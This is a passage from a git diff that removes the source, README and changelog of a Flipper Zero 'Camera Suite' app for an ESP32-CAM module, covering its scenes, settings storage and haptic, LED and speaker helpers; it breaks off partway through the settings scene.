furi_record_open(RECORD_NOTIFICATION); - - // Turn backlight on. - notification_message(app->notification, &sequence_display_backlight_on); - - // Scene additions - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - - app->scene_manager = scene_manager_alloc(&camera_suite_scene_handlers, app); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, camera_suite_navigation_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, camera_suite_tick_event_callback, 100); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, camera_suite_custom_event_callback); - app->submenu = submenu_alloc(); - - // Set defaults, in case no config loaded - app->orientation = 0; // Orientation is "portrait", zero degrees by default. - app->haptic = 1; // Haptic is on by default - app->speaker = 1; // Speaker is on by default - app->led = 1; // LED is on by default - - // Load configs - camera_suite_read_settings(app); - - view_dispatcher_add_view( - app->view_dispatcher, CameraSuiteViewIdMenu, submenu_get_view(app->submenu)); - - app->camera_suite_view_start = camera_suite_view_start_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - CameraSuiteViewIdStartscreen, - camera_suite_view_start_get_view(app->camera_suite_view_start)); - - app->camera_suite_view_camera = camera_suite_view_camera_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - CameraSuiteViewIdCamera, - camera_suite_view_camera_get_view(app->camera_suite_view_camera)); - - app->camera_suite_view_guide = camera_suite_view_guide_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - CameraSuiteViewIdGuide, - camera_suite_view_guide_get_view(app->camera_suite_view_guide)); - - app->button_menu = button_menu_alloc(); - - app->variable_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - CameraSuiteViewIdSettings, - variable_item_list_get_view(app->variable_item_list)); - - //End Scene Additions - - return app; -} - -void camera_suite_app_free(CameraSuite* app) { - furi_assert(app); - - // Scene manager - scene_manager_free(app->scene_manager); - - // View Dispatcher - view_dispatcher_remove_view(app->view_dispatcher, CameraSuiteViewIdStartscreen); - view_dispatcher_remove_view(app->view_dispatcher, CameraSuiteViewIdMenu); - view_dispatcher_remove_view(app->view_dispatcher, CameraSuiteViewIdCamera); - view_dispatcher_remove_view(app->view_dispatcher, CameraSuiteViewIdGuide); - view_dispatcher_remove_view(app->view_dispatcher, CameraSuiteViewIdSettings); - submenu_free(app->submenu); - - view_dispatcher_free(app->view_dispatcher); - furi_record_close(RECORD_GUI); - - // Free remaining resources - camera_suite_view_start_free(app->camera_suite_view_start); - camera_suite_view_camera_free(app->camera_suite_view_camera); - camera_suite_view_guide_free(app->camera_suite_view_guide); - button_menu_free(app->button_menu); - variable_item_list_free(app->variable_item_list); - - app->gui = NULL; - app->notification = NULL; - - //Remove whatever is left - free(app); -} - -/** Main entry point for initialization. */ -int32_t camera_suite_app(void* p) { - UNUSED(p); - CameraSuite* app = camera_suite_app_alloc(); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - // Init with start scene. - scene_manager_next_scene(app->scene_manager, CameraSuiteSceneStart); - furi_hal_power_suppress_charge_enter(); - view_dispatcher_run(app->view_dispatcher); - camera_suite_save_settings(app); - furi_hal_power_suppress_charge_exit(); - camera_suite_app_free(app); - return 0; -} diff --git a/applications/external/camera_suite/camera_suite.h b/applications/external/camera_suite/camera_suite.h deleted file mode 100644 index a8b9825be..000000000 --- a/applications/external/camera_suite/camera_suite.h +++ /dev/null @@ -1,67 +0,0 @@ -#pragma once - -#include "helpers/camera_suite_storage.h" -#include "scenes/camera_suite_scene.h" -#include "views/camera_suite_view_guide.h" -#include "views/camera_suite_view_start.h" -#include "views/camera_suite_view_camera.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define TAG "Camera Suite" - -typedef struct { - Gui* gui; - NotificationApp* notification; - ViewDispatcher* view_dispatcher; - Submenu* submenu; - SceneManager* scene_manager; - VariableItemList* variable_item_list; - CameraSuiteViewStart* camera_suite_view_start; - CameraSuiteViewCamera* camera_suite_view_camera; - CameraSuiteViewGuide* camera_suite_view_guide; - uint32_t orientation; - uint32_t haptic; - uint32_t speaker; - uint32_t led; - ButtonMenu* button_menu; -} CameraSuite; - -typedef enum { - CameraSuiteViewIdStartscreen, - CameraSuiteViewIdMenu, - CameraSuiteViewIdCamera, - CameraSuiteViewIdGuide, - CameraSuiteViewIdSettings, -} CameraSuiteViewId; - -typedef enum { - CameraSuiteOrientation0, - CameraSuiteOrientation90, - CameraSuiteOrientation180, - CameraSuiteOrientation270, -} CameraSuiteOrientationState; - -typedef enum { - CameraSuiteHapticOff, - CameraSuiteHapticOn, -} CameraSuiteHapticState; - -typedef enum { - CameraSuiteSpeakerOff, - CameraSuiteSpeakerOn, -} CameraSuiteSpeakerState; - -typedef enum { - CameraSuiteLedOff, - CameraSuiteLedOn, -} CameraSuiteLedState; diff --git a/applications/external/camera_suite/docs/CHANGELOG.md b/applications/external/camera_suite/docs/CHANGELOG.md deleted file mode 100644 index 40f20dfc4..000000000 --- a/applications/external/camera_suite/docs/CHANGELOG.md +++ /dev/null @@ -1,20 +0,0 @@ -## v1.1 - -- Support and picture stabilization for all camera orientations (0°, 90°, 180°, 270°). -- Rename "Scene 1" to "Camera". No UX changes, strictly internal. -- Clean up unused "Scene 2". This was inaccessible to users previously and unused. -- Add new dithering variations (needs new module firmware, see https://github.com/CodyTolene/Flipper-Zero-Camera-Suite#firmware-installation): - - Add `Jarvis Judice` Ninke Dithering option - - Add `Stucki` dithering option. - - Add ability to toggle dithering options from default `Floyd-Steinberg` and back. -- Resolves issue https://github.com/CodyTolene/Flipper-Zero-Camera-Suite/issues/7 -- Resolves issue https://github.com/CodyTolene/Flipper-Zero-Camera-Suite/pull/17 - -## v1.0 - -- Builds upon Z4urce's software found here (updated 6 months ago): https://github.com/Z4urce/flipperzero-camera -- Utilizes the superb C boilerplate examples laid out by leedave (updated last month): https://github.com/leedave/flipper-zero-fap-boilerplate -- Repurpose and build upon the "[ESP32] Camera" software into the new "[ESP32] Camera Suite" application with new purpose: - - Adding more scene for a guide. - - Adding more scene for saveable settings. - - Add ability to rotate the camera orientation. diff --git a/applications/external/camera_suite/docs/README.md b/applications/external/camera_suite/docs/README.md deleted file mode 100644 index 1f436a067..000000000 --- a/applications/external/camera_suite/docs/README.md +++ /dev/null @@ -1,35 +0,0 @@ -## Flipper Zero - Camera Suite - -Software to run an ESP32-CAM module on your Flipper Zero device. - -## Software Guide - -### Flipper Zero button mappings: - -🔼 = Contrast Up - -🔽 = Contrast Down - -â—€ï¸ = Toggle invert. - -â–¶ï¸ = Toggle dithering on/off. - -⚪ = Cycle Floyd–Steinberg/Jarvis-Judice-Ninke/Stucki dithering types. - -â†©ï¸ = Go back. - -### Camera Suite settings: - -**Orientation** = Rotate the camera image 90 degrees counter-clockwise starting at zero by default (0, 90, 180, 270). This is useful if you have your camera module mounted in a different orientation than the default. - -**Haptic FX** = Toggle haptic feedback on/off. - -**Sound FX** = Toggle sound effects on/off. - -**LED FX** = Toggle LED effects on/off. - -## Links - -Full setup, wiring guide, etc. in the main project README here: https://github.com/CodyTolene/Flipper-Zero-Camera-Suite - -A firmware is needed for the ESP32-CAM module, see here for more information: https://github.com/CodyTolene/Flipper-Zero-Camera-Suite#firmware-installation diff --git a/applications/external/camera_suite/helpers/camera_suite_custom_event.h b/applications/external/camera_suite/helpers/camera_suite_custom_event.h deleted file mode 100644 index 4d472d577..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_custom_event.h +++ /dev/null @@ -1,67 +0,0 @@ -#pragma once - -typedef enum { - // Scene events: Start menu - CameraSuiteCustomEventStartUp, - CameraSuiteCustomEventStartDown, - CameraSuiteCustomEventStartLeft, - CameraSuiteCustomEventStartRight, - CameraSuiteCustomEventStartOk, - CameraSuiteCustomEventStartBack, - // Scene events: Camera - CameraSuiteCustomEventSceneCameraUp, - CameraSuiteCustomEventSceneCameraDown, - CameraSuiteCustomEventSceneCameraLeft, - CameraSuiteCustomEventSceneCameraRight, - CameraSuiteCustomEventSceneCameraOk, - CameraSuiteCustomEventSceneCameraBack, - // Scene events: Guide - CameraSuiteCustomEventSceneGuideUp, - CameraSuiteCustomEventSceneGuideDown, - CameraSuiteCustomEventSceneGuideLeft, - CameraSuiteCustomEventSceneGuideRight, - CameraSuiteCustomEventSceneGuideOk, - CameraSuiteCustomEventSceneGuideBack, -} CameraSuiteCustomEvent; - -enum CameraSuiteCustomEventType { - // Reserve first 100 events for button types and indexes, starting from 0. - CameraSuiteCustomEventMenuVoid, - CameraSuiteCustomEventMenuSelected, -}; - -#pragma pack(push, 1) - -typedef union { - uint32_t packed_value; - struct { - uint16_t type; - int16_t value; - } content; -} CameraSuiteCustomEventMenu; - -#pragma pack(pop) - -static inline uint32_t camera_suite_custom_menu_event_pack(uint16_t type, int16_t value) { - CameraSuiteCustomEventMenu event = {.content = {.type = type, .value = value}}; - return event.packed_value; -} - -static inline void - camera_suite_custom_menu_event_unpack(uint32_t packed_value, uint16_t* type, int16_t* value) { - CameraSuiteCustomEventMenu event = {.packed_value = packed_value}; - if(type) *type = event.content.type; - if(value) *value = event.content.value; -} - -static inline uint16_t camera_suite_custom_menu_event_get_type(uint32_t packed_value) { - uint16_t type; - camera_suite_custom_menu_event_unpack(packed_value, &type, NULL); - return type; -} - -static inline int16_t camera_suite_custom_menu_event_get_value(uint32_t packed_value) { - int16_t value; - camera_suite_custom_menu_event_unpack(packed_value, NULL, &value); - return value; -} diff --git a/applications/external/camera_suite/helpers/camera_suite_haptic.c b/applications/external/camera_suite/helpers/camera_suite_haptic.c deleted file mode 100644 index 237a96004..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_haptic.c +++ /dev/null @@ -1,35 +0,0 @@ -#include "camera_suite_haptic.h" -#include "../camera_suite.h" - -void camera_suite_play_happy_bump(void* context) { - CameraSuite* app = context; - if(app->haptic != 1) { - return; - } - notification_message(app->notification, &sequence_set_vibro_on); - furi_thread_flags_wait(0, FuriFlagWaitAny, 20); - notification_message(app->notification, &sequence_reset_vibro); -} - -void camera_suite_play_bad_bump(void* context) { - CameraSuite* app = context; - if(app->haptic != 1) { - return; - } - notification_message(app->notification, &sequence_set_vibro_on); - furi_thread_flags_wait(0, FuriFlagWaitAny, 100); - notification_message(app->notification, &sequence_reset_vibro); -} - -void camera_suite_play_long_bump(void* context) { - CameraSuite* app = context; - if(app->haptic != 1) { - return; - } - for(int i = 0; i < 4; i++) { - notification_message(app->notification, &sequence_set_vibro_on); - furi_thread_flags_wait(0, FuriFlagWaitAny, 50); - notification_message(app->notification, &sequence_reset_vibro); - furi_thread_flags_wait(0, FuriFlagWaitAny, 100); - } -} diff --git a/applications/external/camera_suite/helpers/camera_suite_haptic.h b/applications/external/camera_suite/helpers/camera_suite_haptic.h deleted file mode 100644 index 9b7651f97..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_haptic.h +++ /dev/null @@ -1,7 +0,0 @@ -#include - -void camera_suite_play_happy_bump(void* context); - -void camera_suite_play_bad_bump(void* context); - -void camera_suite_play_long_bump(void* context); diff --git a/applications/external/camera_suite/helpers/camera_suite_led.c b/applications/external/camera_suite/helpers/camera_suite_led.c deleted file mode 100644 index c4f1a85d7..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_led.c +++ /dev/null @@ -1,38 +0,0 @@ -#include "camera_suite_led.h" -#include "../camera_suite.h" - -void camera_suite_led_set_rgb(void* context, int red, int green, int blue) { - CameraSuite* app = context; - if(app->led != 1) { - return; - } - NotificationMessage notification_led_message_1; - notification_led_message_1.type = NotificationMessageTypeLedRed; - NotificationMessage notification_led_message_2; - notification_led_message_2.type = NotificationMessageTypeLedGreen; - NotificationMessage notification_led_message_3; - notification_led_message_3.type = NotificationMessageTypeLedBlue; - - notification_led_message_1.data.led.value = red; - notification_led_message_2.data.led.value = green; - notification_led_message_3.data.led.value = blue; - const NotificationSequence notification_sequence = { - ¬ification_led_message_1, - ¬ification_led_message_2, - ¬ification_led_message_3, - &message_do_not_reset, - NULL, - }; - notification_message(app->notification, ¬ification_sequence); - //Delay, prevent removal from RAM before LED value set. - furi_thread_flags_wait(0, FuriFlagWaitAny, 10); -} - -void camera_suite_led_reset(void* context) { - CameraSuite* app = context; - notification_message(app->notification, &sequence_reset_red); - notification_message(app->notification, &sequence_reset_green); - notification_message(app->notification, &sequence_reset_blue); - //Delay, prevent removal from RAM before LED value set. - furi_thread_flags_wait(0, FuriFlagWaitAny, 300); -} diff --git a/applications/external/camera_suite/helpers/camera_suite_led.h b/applications/external/camera_suite/helpers/camera_suite_led.h deleted file mode 100644 index 074947da1..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_led.h +++ /dev/null @@ -1,3 +0,0 @@ -void camera_suite_led_set_rgb(void* context, int red, int green, int blue); - -void camera_suite_led_reset(void* context); diff --git a/applications/external/camera_suite/helpers/camera_suite_speaker.c b/applications/external/camera_suite/helpers/camera_suite_speaker.c deleted file mode 100644 index c2a5a7dd0..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_speaker.c +++ /dev/null @@ -1,26 +0,0 @@ -#include "camera_suite_speaker.h" -#include "../camera_suite.h" - -#define NOTE_INPUT 587.33f - -void camera_suite_play_input_sound(void* context) { - CameraSuite* app = context; - if(app->speaker != 1) { - return; - } - float volume = 1.0f; - if(furi_hal_speaker_is_mine() || furi_hal_speaker_acquire(30)) { - furi_hal_speaker_start(NOTE_INPUT, volume); - } -} - -void camera_suite_stop_all_sound(void* context) { - CameraSuite* app = context; - if(app->speaker != 1) { - return; - } - if(furi_hal_speaker_is_mine()) { - furi_hal_speaker_stop(); - furi_hal_speaker_release(); - } -} diff --git a/applications/external/camera_suite/helpers/camera_suite_speaker.h b/applications/external/camera_suite/helpers/camera_suite_speaker.h deleted file mode 100644 index 2119bbec5..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_speaker.h +++ /dev/null @@ -1,5 +0,0 @@ -#define NOTE_INPUT 587.33f - -void camera_suite_play_input_sound(void* context); - -void camera_suite_stop_all_sound(void* context); diff --git a/applications/external/camera_suite/helpers/camera_suite_storage.c b/applications/external/camera_suite/helpers/camera_suite_storage.c deleted file mode 100644 index 38a5f0813..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_storage.c +++ /dev/null @@ -1,113 +0,0 @@ -#include "camera_suite_storage.h" - -static Storage* camera_suite_open_storage() { - return furi_record_open(RECORD_STORAGE); -} - -static void camera_suite_close_storage() { - furi_record_close(RECORD_STORAGE); -} - -static void camera_suite_close_config_file(FlipperFormat* file) { - if(file == NULL) return; - flipper_format_file_close(file); - flipper_format_free(file); -} - -void camera_suite_save_settings(void* context) { - CameraSuite* app = context; - - FURI_LOG_D(TAG, "Saving Settings"); - Storage* storage = camera_suite_open_storage(); - FlipperFormat* fff_file = flipper_format_file_alloc(storage); - - // Overwrite wont work, so delete first - if(storage_file_exists(storage, BOILERPLATE_SETTINGS_SAVE_PATH)) { - storage_simply_remove(storage, BOILERPLATE_SETTINGS_SAVE_PATH); - } - - // Open File, create if not exists - if(!storage_common_stat(storage, BOILERPLATE_SETTINGS_SAVE_PATH, NULL) == FSE_OK) { - FURI_LOG_D( - TAG, "Config file %s is not found. Will create new.", BOILERPLATE_SETTINGS_SAVE_PATH); - if(storage_common_stat(storage, CONFIG_FILE_DIRECTORY_PATH, NULL) == FSE_NOT_EXIST) { - FURI_LOG_D( - TAG, "Directory %s doesn't exist. Will create new.", CONFIG_FILE_DIRECTORY_PATH); - if(!storage_simply_mkdir(storage, CONFIG_FILE_DIRECTORY_PATH)) { - FURI_LOG_E(TAG, "Error creating directory %s", CONFIG_FILE_DIRECTORY_PATH); - } - } - } - - if(!flipper_format_file_open_new(fff_file, BOILERPLATE_SETTINGS_SAVE_PATH)) { - //totp_close_config_file(fff_file); - FURI_LOG_E(TAG, "Error creating new file %s", BOILERPLATE_SETTINGS_SAVE_PATH); - camera_suite_close_storage(); - return; - } - - // Store Settings - flipper_format_write_header_cstr( - fff_file, BOILERPLATE_SETTINGS_HEADER, BOILERPLATE_SETTINGS_FILE_VERSION); - flipper_format_write_uint32( - fff_file, BOILERPLATE_SETTINGS_KEY_ORIENTATION, &app->orientation, 1); - flipper_format_write_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_HAPTIC, &app->haptic, 1); - flipper_format_write_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_SPEAKER, &app->speaker, 1); - flipper_format_write_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_LED, &app->led, 1); - - if(!flipper_format_rewind(fff_file)) { - camera_suite_close_config_file(fff_file); - FURI_LOG_E(TAG, "Rewind error"); - camera_suite_close_storage(); - return; - } - - camera_suite_close_config_file(fff_file); - camera_suite_close_storage(); -} - -void camera_suite_read_settings(void* context) { - CameraSuite* app = context; - Storage* storage = camera_suite_open_storage(); - FlipperFormat* fff_file = flipper_format_file_alloc(storage); - - if(storage_common_stat(storage, BOILERPLATE_SETTINGS_SAVE_PATH, NULL) != FSE_OK) { - camera_suite_close_config_file(fff_file); - camera_suite_close_storage(); - return; - } - uint32_t file_version; - FuriString* temp_str = furi_string_alloc(); - - if(!flipper_format_file_open_existing(fff_file, BOILERPLATE_SETTINGS_SAVE_PATH)) { - FURI_LOG_E(TAG, "Cannot open file %s", BOILERPLATE_SETTINGS_SAVE_PATH); - camera_suite_close_config_file(fff_file); - camera_suite_close_storage(); - return; - } - - if(!flipper_format_read_header(fff_file, temp_str, &file_version)) { - FURI_LOG_E(TAG, "Missing Header Data"); - camera_suite_close_config_file(fff_file); - camera_suite_close_storage(); - return; - } - - if(file_version < BOILERPLATE_SETTINGS_FILE_VERSION) { - FURI_LOG_I(TAG, "old config version, will be removed."); - camera_suite_close_config_file(fff_file); - camera_suite_close_storage(); - return; - } - - flipper_format_read_uint32( - fff_file, BOILERPLATE_SETTINGS_KEY_ORIENTATION, &app->orientation, 1); - flipper_format_read_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_HAPTIC, &app->haptic, 1); - flipper_format_read_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_SPEAKER, &app->speaker, 1); - flipper_format_read_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_LED, &app->led, 1); - - flipper_format_rewind(fff_file); - - camera_suite_close_config_file(fff_file); - camera_suite_close_storage(); -} \ No newline at end of file diff --git a/applications/external/camera_suite/helpers/camera_suite_storage.h b/applications/external/camera_suite/helpers/camera_suite_storage.h deleted file mode 100644 index 37e82d722..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_storage.h +++ /dev/null @@ -1,20 +0,0 @@ -#include -#include -#include -#include -#include "../camera_suite.h" - -#define BOILERPLATE_SETTINGS_FILE_VERSION 1 -#define CONFIG_FILE_DIRECTORY_PATH EXT_PATH("apps_data/camera_suite") -#define BOILERPLATE_SETTINGS_SAVE_PATH CONFIG_FILE_DIRECTORY_PATH "/camera_suite.conf" -#define BOILERPLATE_SETTINGS_SAVE_PATH_TMP BOILERPLATE_SETTINGS_SAVE_PATH ".tmp" -#define BOILERPLATE_SETTINGS_HEADER "Camera Suite Config File" -#define BOILERPLATE_SETTINGS_KEY_ORIENTATION "Orientation" -#define BOILERPLATE_SETTINGS_KEY_HAPTIC "Haptic" -#define BOILERPLATE_SETTINGS_KEY_LED "Led" -#define BOILERPLATE_SETTINGS_KEY_SPEAKER "Speaker" -#define BOILERPLATE_SETTINGS_KEY_SAVE_SETTINGS "SaveSettings" - -void camera_suite_save_settings(void* context); - -void camera_suite_read_settings(void* context); diff --git a/applications/external/camera_suite/icons/camera_suite.png b/applications/external/camera_suite/icons/camera_suite.png deleted file mode 100644 index cee545bb9..000000000 Binary files a/applications/external/camera_suite/icons/camera_suite.png and /dev/null differ diff --git a/applications/external/camera_suite/scenes/camera_suite_scene.c b/applications/external/camera_suite/scenes/camera_suite_scene.c deleted file mode 100644 index c503fab5d..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "camera_suite_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const camera_suite_on_enter_handlers[])(void*) = { -#include "camera_suite_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const camera_suite_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "camera_suite_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const camera_suite_on_exit_handlers[])(void* context) = { -#include "camera_suite_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers camera_suite_scene_handlers = { - .on_enter_handlers = camera_suite_on_enter_handlers, - .on_event_handlers = camera_suite_on_event_handlers, - .on_exit_handlers = camera_suite_on_exit_handlers, - .scene_num = CameraSuiteSceneNum, -}; diff --git a/applications/external/camera_suite/scenes/camera_suite_scene.h b/applications/external/camera_suite/scenes/camera_suite_scene.h deleted file mode 100644 index 2d88b126d..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) CameraSuiteScene##id, -typedef enum { -#include "camera_suite_scene_config.h" - CameraSuiteSceneNum, -} CameraSuiteScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers camera_suite_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "camera_suite_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "camera_suite_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "camera_suite_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/camera_suite/scenes/camera_suite_scene_camera.c b/applications/external/camera_suite/scenes/camera_suite_scene_camera.c deleted file mode 100644 index 809d9a5c1..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene_camera.c +++ /dev/null @@ -1,52 +0,0 @@ -#include "../camera_suite.h" -#include "../helpers/camera_suite_custom_event.h" -#include "../views/camera_suite_view_camera.h" - -void camera_suite_view_camera_callback(CameraSuiteCustomEvent event, void* context) { - furi_assert(context); - CameraSuite* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void camera_suite_scene_camera_on_enter(void* context) { - furi_assert(context); - CameraSuite* app = context; - camera_suite_view_camera_set_callback( - app->camera_suite_view_camera, camera_suite_view_camera_callback, app); - view_dispatcher_switch_to_view(app->view_dispatcher, CameraSuiteViewIdCamera); -} - -bool camera_suite_scene_camera_on_event(void* context, SceneManagerEvent event) { - CameraSuite* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case CameraSuiteCustomEventSceneCameraLeft: - case CameraSuiteCustomEventSceneCameraRight: - case CameraSuiteCustomEventSceneCameraUp: - case CameraSuiteCustomEventSceneCameraDown: - case CameraSuiteCustomEventSceneCameraOk: - // Do nothing. - break; - case CameraSuiteCustomEventSceneCameraBack: - notification_message(app->notification, &sequence_reset_red); - notification_message(app->notification, &sequence_reset_green); - notification_message(app->notification, &sequence_reset_blue); - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, CameraSuiteSceneMenu)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - consumed = true; - break; - } - } - - return consumed; -} - -void camera_suite_scene_camera_on_exit(void* context) { - CameraSuite* app = context; - UNUSED(app); -} diff --git a/applications/external/camera_suite/scenes/camera_suite_scene_config.h b/applications/external/camera_suite/scenes/camera_suite_scene_config.h deleted file mode 100644 index 2cb9245ef..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene_config.h +++ /dev/null @@ -1,5 +0,0 @@ -ADD_SCENE(camera_suite, start, Start) -ADD_SCENE(camera_suite, menu, Menu) -ADD_SCENE(camera_suite, camera, Camera) -ADD_SCENE(camera_suite, guide, Guide) -ADD_SCENE(camera_suite, settings, Settings) \ No newline at end of file diff --git a/applications/external/camera_suite/scenes/camera_suite_scene_guide.c b/applications/external/camera_suite/scenes/camera_suite_scene_guide.c deleted file mode 100644 index 6599058ef..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene_guide.c +++ /dev/null @@ -1,51 +0,0 @@ -#include "../camera_suite.h" -#include "../helpers/camera_suite_custom_event.h" -#include "../views/camera_suite_view_guide.h" - -void camera_suite_view_guide_callback(CameraSuiteCustomEvent event, void* context) { - furi_assert(context); - CameraSuite* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void camera_suite_scene_guide_on_enter(void* context) { - furi_assert(context); - CameraSuite* app = context; - camera_suite_view_guide_set_callback( - app->camera_suite_view_guide, camera_suite_view_guide_callback, app); - view_dispatcher_switch_to_view(app->view_dispatcher, CameraSuiteViewIdGuide); -} - -bool camera_suite_scene_guide_on_event(void* context, SceneManagerEvent event) { - CameraSuite* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case CameraSuiteCustomEventSceneGuideLeft: - case CameraSuiteCustomEventSceneGuideRight: - case CameraSuiteCustomEventSceneGuideUp: - case CameraSuiteCustomEventSceneGuideDown: - // Do nothing. - break; - case CameraSuiteCustomEventSceneGuideBack: - notification_message(app->notification, &sequence_reset_red); - notification_message(app->notification, &sequence_reset_green); - notification_message(app->notification, &sequence_reset_blue); - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, CameraSuiteSceneMenu)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - consumed = true; - break; - } - } - - return consumed; -} - -void camera_suite_scene_guide_on_exit(void* context) { - CameraSuite* app = context; - UNUSED(app); -} \ No newline at end of file diff --git a/applications/external/camera_suite/scenes/camera_suite_scene_menu.c b/applications/external/camera_suite/scenes/camera_suite_scene_menu.c deleted file mode 100644 index ae37e11b6..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene_menu.c +++ /dev/null @@ -1,73 +0,0 @@ -#include "../camera_suite.h" - -enum SubmenuIndex { - /** Camera. */ - SubmenuIndexSceneCamera = 10, - /** Guide/how-to. */ - SubmenuIndexGuide, - /** Settings menu. */ - SubmenuIndexSettings, -}; - -void camera_suite_scene_menu_submenu_callback(void* context, uint32_t index) { - CameraSuite* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void camera_suite_scene_menu_on_enter(void* context) { - CameraSuite* app = context; - - submenu_add_item( - app->submenu, - "Open Camera", - SubmenuIndexSceneCamera, - camera_suite_scene_menu_submenu_callback, - app); - submenu_add_item( - app->submenu, "Guide", SubmenuIndexGuide, camera_suite_scene_menu_submenu_callback, app); - submenu_add_item( - app->submenu, - "Settings", - SubmenuIndexSettings, - camera_suite_scene_menu_submenu_callback, - app); - - submenu_set_selected_item( - app->submenu, scene_manager_get_scene_state(app->scene_manager, CameraSuiteSceneMenu)); - - view_dispatcher_switch_to_view(app->view_dispatcher, CameraSuiteViewIdMenu); -} - -bool camera_suite_scene_menu_on_event(void* context, SceneManagerEvent event) { - CameraSuite* app = context; - UNUSED(app); - if(event.type == SceneManagerEventTypeBack) { - // Exit application. - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - return true; - } else if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexSceneCamera) { - scene_manager_set_scene_state( - app->scene_manager, CameraSuiteSceneMenu, SubmenuIndexSceneCamera); - scene_manager_next_scene(app->scene_manager, CameraSuiteSceneCamera); - return true; - } else if(event.event == SubmenuIndexGuide) { - scene_manager_set_scene_state( - app->scene_manager, CameraSuiteSceneMenu, SubmenuIndexGuide); - scene_manager_next_scene(app->scene_manager, CameraSuiteSceneGuide); - return true; - } else if(event.event == SubmenuIndexSettings) { - scene_manager_set_scene_state( - app->scene_manager, CameraSuiteSceneMenu, SubmenuIndexSettings); - scene_manager_next_scene(app->scene_manager, CameraSuiteSceneSettings); - return true; - } - } - return false; -} - -void camera_suite_scene_menu_on_exit(void* context) { - CameraSuite* app = context; - submenu_reset(app->submenu); -} \ No newline at end of file diff --git a/applications/external/camera_suite/scenes/camera_suite_scene_settings.c b/applications/external/camera_suite/scenes/camera_suite_scene_settings.c deleted file mode 100644 index a06b45fe9..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene_settings.c +++ /dev/null @@ -1,137 +0,0 @@ -#include "../camera_suite.h" -#include - -// Camera orientation, in degrees. -const char* const orientation_text[4] = { - "0", - "90", - "180", - "270", -}; - -const uint32_t orientation_value[4] = { - CameraSuiteOrientation0, - CameraSuiteOrientation90, - CameraSuiteOrientation180, - CameraSuiteOrientation270, -}; - -const char* const haptic_text[2] = { - "OFF", - "ON", -}; - -const uint32_t haptic_value[2] = { - CameraSuiteHapticOff, - CameraSuiteHapticOn, -}; - -const char* const speaker_text[2] = { - "OFF", - "ON", -}; - -const uint32_t speaker_value[2] = { - CameraSuiteSpeakerOff, - CameraSuiteSpeakerOn, -}; - -const char* const led_text[2] = { - "OFF", - "ON", -}; - -const uint32_t led_value[2] = { - CameraSuiteLedOff, - CameraSuiteLedOn, -}; - -static void camera_suite_scene_settings_set_camera_orientation(VariableItem* item) { - CameraSuite* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - 